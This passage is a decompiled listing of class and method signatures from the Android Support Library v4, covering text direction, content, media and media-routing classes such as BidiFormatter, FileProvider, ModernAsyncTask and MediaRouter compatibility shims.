    public void BidiFormatter$Builder(boolean);
    public void BidiFormatter$Builder(java.util.Locale);
    private void initialize(boolean);
    public BidiFormatter$Builder stereoReset(boolean);
    public BidiFormatter$Builder setTextDirectionHeuristic(TextDirectionHeuristicCompat);
    private static BidiFormatter getDefaultInstanceFromContext(boolean);
    public BidiFormatter build();
}










android/support/v4/text/BidiFormatter$1.class


package android.support.v4.text;
synchronized class BidiFormatter$1 {
}










android/support/v4/text/TextDirectionHeuristicsCompat$FirstStrong.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$FirstStrong implements TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    public static final TextDirectionHeuristicsCompat$FirstStrong INSTANCE;
    public int checkRtl(CharSequence, int, int);
    private void TextDirectionHeuristicsCompat$FirstStrong();
    static void <clinit>();
}










android/support/v4/text/ICUCompat$ICUCompatImplIcs.class


package android.support.v4.text;
synchronized class ICUCompat$ICUCompatImplIcs implements ICUCompat$ICUCompatImpl {
    void ICUCompat$ICUCompatImplIcs();
    public String getScript(String);
    public String addLikelySubtags(String);
}










android/support/v4/text/ICUCompat$ICUCompatImplBase.class


package android.support.v4.text;
synchronized class ICUCompat$ICUCompatImplBase implements ICUCompat$ICUCompatImpl {
    void ICUCompat$ICUCompatImplBase();
    public String getScript(String);
    public String addLikelySubtags(String);
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale extends TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl {
    public static final TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale INSTANCE;
    public void TextDirectionHeuristicsCompat$TextDirectionHeuristicLocale();
    protected boolean defaultIsRtl();
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$1.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$1 {
}










android/support/v4/text/BidiFormatter$DirectionalityEstimator.class


package android.support.v4.text;
synchronized class BidiFormatter$DirectionalityEstimator {
    private static final int DIR_TYPE_CACHE_SIZE = 1792;
    private static final byte[] DIR_TYPE_CACHE;
    private final String text;
    private final boolean isHtml;
    private final int length;
    private int charIndex;
    private char lastChar;
    void BidiFormatter$DirectionalityEstimator(String, boolean);
    int getEntryDir();
    int getExitDir();
    private static byte getCachedDirectionality(char);
    byte dirTypeForward();
    byte dirTypeBackward();
    private byte skipTagForward();
    private byte skipTagBackward();
    private byte skipEntityForward();
    private byte skipEntityBackward();
    static void <clinit>();
}










android/support/v4/text/ICUCompat.class


package android.support.v4.text;
public synchronized class ICUCompat {
    private static final ICUCompat$ICUCompatImpl IMPL;
    public void ICUCompat();
    public static String getScript(String);
    public static String addLikelySubtags(String);
    static void <clinit>();
}










android/support/v4/content/ContextCompatJellybean.class


package android.support.v4.content;
synchronized class ContextCompatJellybean {
    void ContextCompatJellybean();
    public static void startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/LocalBroadcastManager$BroadcastRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$BroadcastRecord {
    final android.content.Intent intent;
    final java.util.ArrayList receivers;
    void LocalBroadcastManager$BroadcastRecord(android.content.Intent, java.util.ArrayList);
}










android/support/v4/content/IntentCompat.class


package android.support.v4.content;
public synchronized class IntentCompat {
    private static final IntentCompat$IntentCompatImpl IMPL;
    public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE;
    public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE;
    public static final String EXTRA_CHANGED_PACKAGE_LIST = android.intent.extra.changed_package_list;
    public static final String EXTRA_CHANGED_UID_LIST = android.intent.extra.changed_uid_list;
    public static final String EXTRA_HTML_TEXT = android.intent.extra.HTML_TEXT;
    public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384;
    public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768;
    private void IntentCompat();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeMainSelectorActivity(String, String);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
    static void <clinit>();
}










android/support/v4/content/WakefulBroadcastReceiver.class


package android.support.v4.content;
public abstract synchronized class WakefulBroadcastReceiver extends android.content.BroadcastReceiver {
    private static final String EXTRA_WAKE_LOCK_ID = android.support.content.wakelockid;
    private static final android.util.SparseArray mActiveWakeLocks;
    private static int mNextId;
    public void WakefulBroadcastReceiver();
    public static android.content.ComponentName startWakefulService(android.content.Context, android.content.Intent);
    public static boolean completeWakefulIntent(android.content.Intent);
    static void <clinit>();
}










android/support/v4/content/ContextCompatFroyo.class


package android.support.v4.content;
synchronized class ContextCompatFroyo {
    void ContextCompatFroyo();
    public static java.io.File getExternalCacheDir(android.content.Context);
    public static java.io.File getExternalFilesDir(android.content.Context, String);
}










android/support/v4/content/ModernAsyncTask$Status.class


package android.support.v4.content;
public final synchronized enum ModernAsyncTask$Status {
    public static final ModernAsyncTask$Status PENDING;
    public static final ModernAsyncTask$Status RUNNING;
    public static final ModernAsyncTask$Status FINISHED;
    public static ModernAsyncTask$Status[] values();
    public static ModernAsyncTask$Status valueOf(String);
    private void ModernAsyncTask$Status(String, int);
    static void <clinit>();
}










android/support/v4/content/IntentCompat$IntentCompatImplHC.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplHC extends IntentCompat$IntentCompatImplBase {
    void IntentCompat$IntentCompatImplHC();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/pm/ActivityInfoCompat.class


package android.support.v4.content.pm;
public synchronized class ActivityInfoCompat {
    public static final int CONFIG_UI_MODE = 512;
    private void ActivityInfoCompat();
}










android/support/v4/content/res/ResourcesCompatApi21.class


package android.support.v4.content.res;
synchronized class ResourcesCompatApi21 {
    void ResourcesCompatApi21();
    public static android.graphics.drawable.Drawable getDrawable(android.content.res.Resources, int, android.content.res.Resources$Theme);
}










android/support/v4/content/res/ResourcesCompat.class


package android.support.v4.content.res;
public synchronized class ResourcesCompat {
    public void ResourcesCompat();
    public static android.graphics.drawable.Drawable getDrawable(android.content.res.Resources, int, android.content.res.Resources$Theme) throws android.content.res.Resources$NotFoundException;
}










android/support/v4/content/ModernAsyncTask$WorkerRunnable.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask$WorkerRunnable implements java.util.concurrent.Callable {
    Object[] mParams;
    private void ModernAsyncTask$WorkerRunnable();
}










android/support/v4/content/LocalBroadcastManager.class


package android.support.v4.content;
public synchronized class LocalBroadcastManager {
    private static final String TAG = LocalBroadcastManager;
    private static final boolean DEBUG = 0;
    private final android.content.Context mAppContext;
    private final java.util.HashMap mReceivers;
    private final java.util.HashMap mActions;
    private final java.util.ArrayList mPendingBroadcasts;
    static final int MSG_EXEC_PENDING_BROADCASTS = 1;
    private final android.os.Handler mHandler;
    private static final Object mLock;
    private static LocalBroadcastManager mInstance;
    public static LocalBroadcastManager getInstance(android.content.Context);
    private void LocalBroadcastManager(android.content.Context);
    public void registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter);
    public void unregisterReceiver(android.content.BroadcastReceiver);
    public boolean sendBroadcast(android.content.Intent);
    public void sendBroadcastSync(android.content.Intent);
    private void executePendingBroadcasts();
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$InternalHandler.class


package android.support.v4.content;
synchronized class ModernAsyncTask$InternalHandler extends android.os.Handler {
    private void ModernAsyncTask$InternalHandler();
    public void handleMessage(android.os.Message);
}










android/support/v4/content/ContextCompatApi21.class


package android.support.v4.content;
synchronized class ContextCompatApi21 {
    void ContextCompatApi21();
    public static android.graphics.drawable.Drawable getDrawable(android.content.Context, int);
    public static java.io.File getNoBackupFilesDir(android.content.Context);
    public static java.io.File getCodeCacheDir(android.content.Context);
}










android/support/v4/content/IntentCompat$IntentCompatImpl.class


package android.support.v4.content;
abstract interface IntentCompat$IntentCompatImpl {
    public abstract android.content.Intent makeMainActivity(android.content.ComponentName);
    public abstract android.content.Intent makeMainSelectorActivity(String, String);
    public abstract android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ContextCompat.class


package android.support.v4.content;
public synchronized class ContextCompat {
    private static final String TAG = ContextCompat;
    private static final String DIR_ANDROID = Android;
    private static final String DIR_DATA = data;
    private static final String DIR_OBB = obb;
    private static final String DIR_FILES = files;
    private static final String DIR_CACHE = cache;
    public void ContextCompat();
    public static boolean startActivities(android.content.Context, android.content.Intent[]);
    public static boolean startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
    public static java.io.File[] getObbDirs(android.content.Context);
    public static java.io.File[] getExternalFilesDirs(android.content.Context, String);
    public static java.io.File[] getExternalCacheDirs(android.content.Context);
    private static transient java.io.File buildPath(java.io.File, String[]);
    public static final android.graphics.drawable.Drawable getDrawable(android.content.Context, int);
    public final java.io.File getNoBackupFilesDir(android.content.Context);
    public final java.io.File getCodeCacheDir(android.content.Context);
    private static synchronized java.io.File createFilesDir(java.io.File);
}










android/support/v4/content/Loader$OnLoadCompleteListener.class


package android.support.v4.content;
public abstract interface Loader$OnLoadCompleteListener {
    public abstract void onLoadComplete(Loader, Object);
}










android/support/v4/content/ContextCompatHoneycomb.class


package android.support.v4.content;
synchronized class ContextCompatHoneycomb {
    void ContextCompatHoneycomb();
    static void startActivities(android.content.Context, android.content.Intent[]);
    public static java.io.File getObbDir(android.content.Context);
}










android/support/v4/content/IntentCompat$IntentCompatImplBase.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplBase implements IntentCompat$IntentCompatImpl {
    void IntentCompat$IntentCompatImplBase();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeMainSelectorActivity(String, String);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/FileProvider$PathStrategy.class


package android.support.v4.content;
abstract interface FileProvider$PathStrategy {
    public abstract android.net.Uri getUriForFile(java.io.File);
    public abstract java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/FileProvider.class


package android.support.v4.content;
public synchronized class FileProvider extends android.content.ContentProvider {
    private static final String[] COLUMNS;
    private static final String META_DATA_FILE_PROVIDER_PATHS = android.support.FILE_PROVIDER_PATHS;
    private static final String TAG_ROOT_PATH = root-path;
    private static final String TAG_FILES_PATH = files-path;
    private static final String TAG_CACHE_PATH = cache-path;
    private static final String TAG_EXTERNAL = external-path;
    private static final String ATTR_NAME = name;
    private static final String ATTR_PATH = path;
    private static final java.io.File DEVICE_ROOT;
    private static java.util.HashMap sCache;
    private FileProvider$PathStrategy mStrategy;
    public void FileProvider();
    public boolean onCreate();
    public void attachInfo(android.content.Context, android.content.pm.ProviderInfo);
    public static android.net.Uri getUriForFile(android.content.Context, String, java.io.File);
    public android.database.Cursor query(android.net.Uri, String[], String, String[], String);
    public String getType(android.net.Uri);
    public android.net.Uri insert(android.net.Uri, android.content.ContentValues);
    public int update(android.net.Uri, android.content.ContentValues, String, String[]);
    public int delete(android.net.Uri, String, String[]);
    public android.os.ParcelFileDescriptor openFile(android.net.Uri, String) throws java.io.FileNotFoundException;
    private static FileProvider$PathStrategy getPathStrategy(android.content.Context, String);
    private static FileProvider$PathStrategy parsePathStrategy(android.content.Context, String) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
    private static int modeToMode(String);
    private static transient java.io.File buildPath(java.io.File, String[]);
    private static String[] copyOf(String[], int);
    private static Object[] copyOf(Object[], int);
    static void <clinit>();
}










android/support/v4/content/AsyncTaskLoader.class


package android.support.v4.content;
public abstract synchronized class AsyncTaskLoader extends Loader {
    static final String TAG = AsyncTaskLoader;
    static final boolean DEBUG = 0;
    volatile AsyncTaskLoader$LoadTask mTask;
    volatile AsyncTaskLoader$LoadTask mCancellingTask;
    long mUpdateThrottle;
    long mLastLoadCompleteTime;
    android.os.Handler mHandler;
    public void AsyncTaskLoader(android.content.Context);
    public void setUpdateThrottle(long);
    protected void onForceLoad();
    public boolean cancelLoad();
    public void onCanceled(Object);
    void executePendingTask();
    void dispatchOnCancelled(AsyncTaskLoader$LoadTask, Object);
    void dispatchOnLoadComplete(AsyncTaskLoader$LoadTask, Object);
    public abstract Object loadInBackground();
    protected Object onLoadInBackground();
    public void waitForLoader();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/IntentCompatHoneycomb.class


package android.support.v4.content;
synchronized class IntentCompatHoneycomb {
    void IntentCompatHoneycomb();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/AsyncTaskLoader$LoadTask.class


package android.support.v4.content;
final synchronized class AsyncTaskLoader$LoadTask extends ModernAsyncTask implements Runnable {
    Object result;
    boolean waiting;
    private java.util.concurrent.CountDownLatch done;
    void AsyncTaskLoader$LoadTask(AsyncTaskLoader);
    protected transient Object doInBackground(Void[]);
    protected void onPostExecute(Object);
    protected void onCancelled();
    public void run();
}










android/support/v4/content/ModernAsyncTask$3.class


package android.support.v4.content;
synchronized class ModernAsyncTask$3 extends java.util.concurrent.FutureTask {
    void ModernAsyncTask$3(ModernAsyncTask, java.util.concurrent.Callable);
    protected void done();
}










android/support/v4/content/FileProvider$SimplePathStrategy.class


package android.support.v4.content;
synchronized class FileProvider$SimplePathStrategy implements FileProvider$PathStrategy {
    private final String mAuthority;
    private final java.util.HashMap mRoots;
    public void FileProvider$SimplePathStrategy(String);
    public void addRoot(String, java.io.File);
    public android.net.Uri getUriForFile(java.io.File);
    public java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/ModernAsyncTask$2.class


package android.support.v4.content;
synchronized class ModernAsyncTask$2 extends ModernAsyncTask$WorkerRunnable {
    void ModernAsyncTask$2(ModernAsyncTask);
    public Object call() throws Exception;
}










android/support/v4/content/Loader$ForceLoadContentObserver.class


package android.support.v4.content;
public final synchronized class Loader$ForceLoadContentObserver extends android.database.ContentObserver {
    public void Loader$ForceLoadContentObserver(Loader);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/content/CursorLoader.class


package android.support.v4.content;
public synchronized class CursorLoader extends AsyncTaskLoader {
    final Loader$ForceLoadContentObserver mObserver;
    android.net.Uri mUri;
    String[] mProjection;
    String mSelection;
    String[] mSelectionArgs;
    String mSortOrder;
    android.database.Cursor mCursor;
    public android.database.Cursor loadInBackground();
    public void deliverResult(android.database.Cursor);
    public void CursorLoader(android.content.Context);
    public void CursorLoader(android.content.Context, android.net.Uri, String[], String, String[], String);
    protected void onStartLoading();
    protected void onStopLoading();
    public void onCanceled(android.database.Cursor);
    protected void onReset();
    public android.net.Uri getUri();
    public void setUri(android.net.Uri);
    public String[] getProjection();
    public void setProjection(String[]);
    public String getSelection();
    public void setSelection(String);
    public String[] getSelectionArgs();
    public void setSelectionArgs(String[]);
    public String getSortOrder();
    public void setSortOrder(String);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/ModernAsyncTask$1.class


package android.support.v4.content;
final synchronized class ModernAsyncTask$1 implements java.util.concurrent.ThreadFactory {
    private final java.util.concurrent.atomic.AtomicInteger mCount;
    void ModernAsyncTask$1();
    public Thread newThread(Runnable);
}










android/support/v4/content/IntentCompat$IntentCompatImplIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplIcsMr1 extends IntentCompat$IntentCompatImplHC {
    void IntentCompat$IntentCompatImplIcsMr1();
    public android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/ModernAsyncTask$4.class


package android.support.v4.content;
synchronized class ModernAsyncTask$4 {
    static void <clinit>();
}










android/support/v4/content/IntentCompatIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompatIcsMr1 {
    void IntentCompatIcsMr1();
    public static android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/ModernAsyncTask.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask {
    private static final String LOG_TAG = AsyncTask;
    private static final int CORE_POOL_SIZE = 5;
    private static final int MAXIMUM_POOL_SIZE = 128;
    private static final int KEEP_ALIVE = 1;
    private static final java.util.concurrent.ThreadFactory sThreadFactory;
    private static final java.util.concurrent.BlockingQueue sPoolWorkQueue;
    public static final java.util.concurrent.Executor THREAD_POOL_EXECUTOR;
    private static final int MESSAGE_POST_RESULT = 1;
    private static final int MESSAGE_POST_PROGRESS = 2;
    private static final ModernAsyncTask$InternalHandler sHandler;
    private static volatile java.util.concurrent.Executor sDefaultExecutor;
    private final ModernAsyncTask$WorkerRunnable mWorker;
    private final java.util.concurrent.FutureTask mFuture;
    private volatile ModernAsyncTask$Status mStatus;
    private final java.util.concurrent.atomic.AtomicBoolean mTaskInvoked;
    public static void init();
    public static void setDefaultExecutor(java.util.concurrent.Executor);
    public void ModernAsyncTask();
    private void postResultIfNotInvoked(Object);
    private Object postResult(Object);
    public final ModernAsyncTask$Status getStatus();
    protected abstract transient Object doInBackground(Object[]);
    protected void onPreExecute();
    protected void onPostExecute(Object);
    protected transient void onProgressUpdate(Object[]);
    protected void onCancelled(Object);
    protected void onCancelled();
    public final boolean isCancelled();
    public final boolean cancel(boolean);
    public final Object get() throws InterruptedException, java.util.concurrent.ExecutionException;
    public final Object get(long, java.util.concurrent.TimeUnit) throws InterruptedException, java.util.concurrent.ExecutionException, java.util.concurrent.TimeoutException;
    public final transient ModernAsyncTask execute(Object[]);
    public final transient ModernAsyncTask executeOnExecutor(java.util.concurrent.Executor, Object[]);
    public static void execute(Runnable);
    protected final transient void publishProgress(Object[]);
    private void finish(Object);
    static void <clinit>();
}










android/support/v4/content/LocalBroadcastManager$1.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$1 extends android.os.Handler {
    void LocalBroadcastManager$1(LocalBroadcastManager, android.os.Looper);
    public void handleMessage(android.os.Message);
}










android/support/v4/content/Loader.class


package android.support.v4.content;
public synchronized class Loader {
    int mId;
    Loader$OnLoadCompleteListener mListener;
    android.content.Context mContext;
    boolean mStarted;
    boolean mAbandoned;
    boolean mReset;
    boolean mContentChanged;
    boolean mProcessingChange;
    public void Loader(android.content.Context);
    public void deliverResult(Object);
    public android.content.Context getContext();
    public int getId();
    public void registerListener(int, Loader$OnLoadCompleteListener);
    public void unregisterListener(Loader$OnLoadCompleteListener);
    public boolean isStarted();
    public boolean isAbandoned();
    public boolean isReset();
    public final void startLoading();
    protected void onStartLoading();
    public void forceLoad();
    protected void onForceLoad();
    public void stopLoading();
    protected void onStopLoading();
    public void abandon();
    protected void onAbandon();
    public void reset();
    protected void onReset();
    public boolean takeContentChanged();
    public void commitContentChanged();
    public void rollbackContentChanged();
    public void onContentChanged();
    public String dataToString(Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/ContextCompatKitKat.class


package android.support.v4.content;
synchronized class ContextCompatKitKat {
    void ContextCompatKitKat();
    public static java.io.File[] getExternalCacheDirs(android.content.Context);
    public static java.io.File[] getExternalFilesDirs(android.content.Context, String);
    public static java.io.File[] getObbDirs(android.content.Context);
}










android/support/v4/content/ModernAsyncTask$AsyncTaskResult.class


package android.support.v4.content;
synchronized class ModernAsyncTask$AsyncTaskResult {
    final ModernAsyncTask mTask;
    final Object[] mData;
    transient void ModernAsyncTask$AsyncTaskResult(ModernAsyncTask, Object[]);
}










android/support/v4/content/LocalBroadcastManager$ReceiverRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$ReceiverRecord {
    final android.content.IntentFilter filter;
    final android.content.BroadcastReceiver receiver;
    boolean broadcasting;
    void LocalBroadcastManager$ReceiverRecord(android.content.IntentFilter, android.content.BroadcastReceiver);
    public String toString();
}










android/support/v4/media/TransportController.class


package android.support.v4.media;
public abstract synchronized class TransportController {
    public void TransportController();
    public abstract void registerStateListener(TransportStateListener);
    public abstract void unregisterStateListener(TransportStateListener);
    public abstract void startPlaying();
    public abstract void pausePlaying();
    public abstract void stopPlaying();
    public abstract long getDuration();
    public abstract long getCurrentPosition();
    public abstract void seekTo(long);
    public abstract boolean isPlaying();
    public abstract int getBufferPercentage();
    public abstract int getTransportControlFlags();
}










android/support/v4/media/VolumeProviderCompatApi21$1.class


package android.support.v4.media;
final synchronized class VolumeProviderCompatApi21$1 extends android.media.VolumeProvider {
    void VolumeProviderCompatApi21$1(int, int, int, VolumeProviderCompatApi21$Delegate);
    public void onSetVolumeTo(int);
    public void onAdjustVolume(int);
}










android/support/v4/media/VolumeProviderCompatApi21$Delegate.class


package android.support.v4.media;
public abstract interface VolumeProviderCompatApi21$Delegate {
    public abstract void onSetVolumeTo(int);
    public abstract void onAdjustVolume(int);
}










android/support/v4/media/MediaMetadataCompat.class


package android.support.v4.media;
public final synchronized class MediaMetadataCompat implements android.os.Parcelable {
    private static final String TAG = MediaMetadata;
    public static final String METADATA_KEY_TITLE = android.media.metadata.TITLE;
    public static final String METADATA_KEY_ARTIST = android.media.metadata.ARTIST;
    public static final String METADATA_KEY_DURATION = android.media.metadata.DURATION;
    public static final String METADATA_KEY_ALBUM = android.media.metadata.ALBUM;
    public static final String METADATA_KEY_AUTHOR = android.media.metadata.AUTHOR;
    public static final String METADATA_KEY_WRITER = android.media.metadata.WRITER;
    public static final String METADATA_KEY_COMPOSER = android.media.metadata.COMPOSER;
    public static final String METADATA_KEY_COMPILATION = android.media.metadata.COMPILATION;
    public static final String METADATA_KEY_DATE = android.media.metadata.DATE;
    public static final String METADATA_KEY_YEAR = android.media.metadata.YEAR;
    public static final String METADATA_KEY_GENRE = android.media.metadata.GENRE;
    public static final String METADATA_KEY_TRACK_NUMBER = android.media.metadata.TRACK_NUMBER;
    public static final String METADATA_KEY_NUM_TRACKS = android.media.metadata.NUM_TRACKS;
    public static final String METADATA_KEY_DISC_NUMBER = android.media.metadata.DISC_NUMBER;
    public static final String METADATA_KEY_ALBUM_ARTIST = android.media.metadata.ALBUM_ARTIST;
    public static final String METADATA_KEY_ART = android.media.metadata.ART;
    public static final String METADATA_KEY_ART_URI = android.media.metadata.ART_URI;
    public static final String METADATA_KEY_ALBUM_ART = android.media.metadata.ALBUM_ART;
    public static final String METADATA_KEY_ALBUM_ART_URI = android.media.metadata.ALBUM_ART_URI;
    public static final String METADATA_KEY_USER_RATING = android.media.metadata.USER_RATING;
    public static final String METADATA_KEY_RATING = android.media.metadata.RATING;
    public static final String METADATA_KEY_DISPLAY_TITLE = android.media.metadata.DISPLAY_TITLE;
    public static final String METADATA_KEY_DISPLAY_SUBTITLE = android.media.metadata.DISPLAY_SUBTITLE;
    public static final String METADATA_KEY_DISPLAY_DESCRIPTION = android.media.metadata.DISPLAY_DESCRIPTION;
    public static final String METADATA_KEY_DISPLAY_ICON = android.media.metadata.DISPLAY_ICON;
    public static final String METADATA_KEY_DISPLAY_ICON_URI = android.media.metadata.DISPLAY_ICON_URI;
    private static final int METADATA_TYPE_LONG = 0;
    private static final int METADATA_TYPE_TEXT = 1;
    private static final int METADATA_TYPE_BITMAP = 2;
    private static final int METADATA_TYPE_RATING = 3;
    private static final android.support.v4.util.ArrayMap METADATA_KEYS_TYPE;
    private final android.os.Bundle mBundle;
    private Object mMetadataObj;
    public static final android.os.Parcelable$Creator CREATOR;
    private void MediaMetadataCompat(android.os.Bundle);
    private void MediaMetadataCompat(android.os.Parcel);
    public boolean containsKey(String);
    public CharSequence getText(String);
    public String getString(String);
    public long getLong(String);
    public RatingCompat getRating(String);
    public android.graphics.Bitmap getBitmap(String);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    public int size();
    public java.util.Set keySet();
    public static MediaMetadataCompat fromMediaMetadata(Object);
    public Object getMediaMetadata();
    static void <clinit>();
}










android/support/v4/media/TransportMediator$2.class


package android.support.v4.media;
synchronized class TransportMediator$2 implements android.view.KeyEvent$Callback {
    void TransportMediator$2(TransportMediator);
    public boolean onKeyDown(int, android.view.KeyEvent);
    public boolean onKeyLongPress(int, android.view.KeyEvent);
    public boolean onKeyUp(int, android.view.KeyEvent);
    public boolean onKeyMultiple(int, int, android.view.KeyEvent);
}










android/support/v4/media/routing/MediaRouterJellybeanMr2.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybeanMr2 extends MediaRouterJellybeanMr1 {
    void MediaRouterJellybeanMr2();
    public static Object getDefaultRoute(Object);
    public static void addCallback(Object, int, Object, int);
}










android/support/v4/media/routing/MediaRouterJellybean$VolumeCallbackProxy.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybean$VolumeCallbackProxy extends android.media.MediaRouter$VolumeCallback {
    protected final MediaRouterJellybean$VolumeCallback mCallback;
    public void MediaRouterJellybean$VolumeCallbackProxy(MediaRouterJellybean$VolumeCallback);
    public void onVolumeSetRequest(android.media.MediaRouter$RouteInfo, int);
    public void onVolumeUpdateRequest(android.media.MediaRouter$RouteInfo, int);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1$Callback.class


package android.support.v4.media.routing;
public abstract interface MediaRouterJellybeanMr1$Callback extends MediaRouterJellybean$Callback {
    public abstract void onRoutePresentationDisplayChanged(Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1$RouteInfo.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybeanMr1$RouteInfo {
    public void MediaRouterJellybeanMr1$RouteInfo();
    public static boolean isEnabled(Object);
    public static android.view.Display getPresentationDisplay(Object);
}










android/support/v4/media/routing/MediaRouterJellybean$CallbackProxy.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybean$CallbackProxy extends android.media.MediaRouter$Callback {
    protected final MediaRouterJellybean$Callback mCallback;
    public void MediaRouterJellybean$CallbackProxy(MediaRouterJellybean$Callback);
    public void onRouteSelected(android.media.MediaRouter, int, android.media.MediaRouter$RouteInfo);
    public void onRouteUnselected(android.media.MediaRouter, int, android.media.MediaRouter$RouteInfo);
    public void onRouteAdded(android.media.MediaRouter, android.media.MediaRouter$RouteInfo);
    public void onRouteRemoved(android.media.MediaRouter, android.media.MediaRouter$RouteInfo);
    public void onRouteChanged(android.media.MediaRouter, android.media.MediaRouter$RouteInfo);
    public void onRouteGrouped(android.media.MediaRouter, android.media.MediaRouter$RouteInfo, android.media.MediaRouter$RouteGroup, int);
    public void onRouteUngrouped(android.media.MediaRouter, android.media.MediaRouter$RouteInfo, android.media.MediaRouter$RouteGroup);
    public void onRouteVolumeChanged(android.media.MediaRouter, android.media.MediaRouter$RouteInfo);
}










android/support/v4/media/routing/MediaRouterJellybean$VolumeCallback.class


package android.support.v4.media.routing;
public abstract interface MediaRouterJellybean$VolumeCallback {
    public abstract void onVolumeSetRequest(Object, int);
    public abstract void onVolumeUpdateRequest(Object, int);
}










android/support/v4/media/routing/MediaRouterJellybean$UserRouteInfo.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$UserRouteInfo {
    public void MediaRouterJellybean$UserRouteInfo();
    public static void setName(Object, CharSequence);
    public static void setStatus(Object, CharSequence);
    public static void setIconDrawable(Object, android.graphics.drawable.Drawable);
    public static void setPlaybackType(Object, int);
    public static void setPlaybackStream(Object, int);
    public static void setVolume(Object, int);
    public static void setVolumeMax(Object, int);
    public static void setVolumeHandling(Object, int);
    public static void setVolumeCallback(Object, Object);
    public static void setRemoteControlClient(Object, Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr2$UserRouteInfo.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybeanMr2$UserRouteInfo {
    public void MediaRouterJellybeanMr2$UserRouteInfo();
    public static void setDescription(Object, CharSequence);
}










android/support/v4/media/routing/MediaRouterJellybean$RouteGroup.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$RouteGroup {
    public void MediaRouterJellybean$RouteGroup();
    public static java.util.List getGroupedRoutes(Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1$IsConnectingWorkaround.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybeanMr1$IsConnectingWorkaround {
    private reflect.Method mGetStatusCodeMethod;
    private int mStatusConnecting;
    public void MediaRouterJellybeanMr1$IsConnectingWorkaround();
    public boolean isConnecting(Object);
}










android/support/v4/media/routing/MediaRouterJellybean$Callback.class


package android.support.v4.media.routing;
public abstract interface MediaRouterJellybean$Callback {
    public abstract void onRouteSelected(int, Object);
    public abstract void onRouteUnselected(int, Object);
    public abstract void onRouteAdded(Object);
    public abstract void onRouteRemoved(Object);
    public abstract void onRouteChanged(Object);
    public abstract void onRouteGrouped(Object, Object, int);
    public abstract void onRouteUngrouped(Object, Object);
    public abstract void onRouteVolumeChanged(Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybeanMr1 extends MediaRouterJellybean {
    private static final String TAG = MediaRouterJellybeanMr1;
    void MediaRouterJellybeanMr1();
    public static Object createCallback(MediaRouterJellybeanMr1$Callback);
}










android/support/v4/media/routing/MediaRouterJellybean$SelectRouteWorkaround.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$SelectRouteWorkaround {
    private reflect.Method mSelectRouteIntMethod;
    public void MediaRouterJellybean$SelectRouteWorkaround();
    public void selectRoute(Object, int, Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr2$RouteInfo.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybeanMr2$RouteInfo {
    public void MediaRouterJellybeanMr2$RouteInfo();
    public static CharSequence getDescription(Object);
    public static boolean isConnecting(Object);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1$ActiveScanWorkaround.class


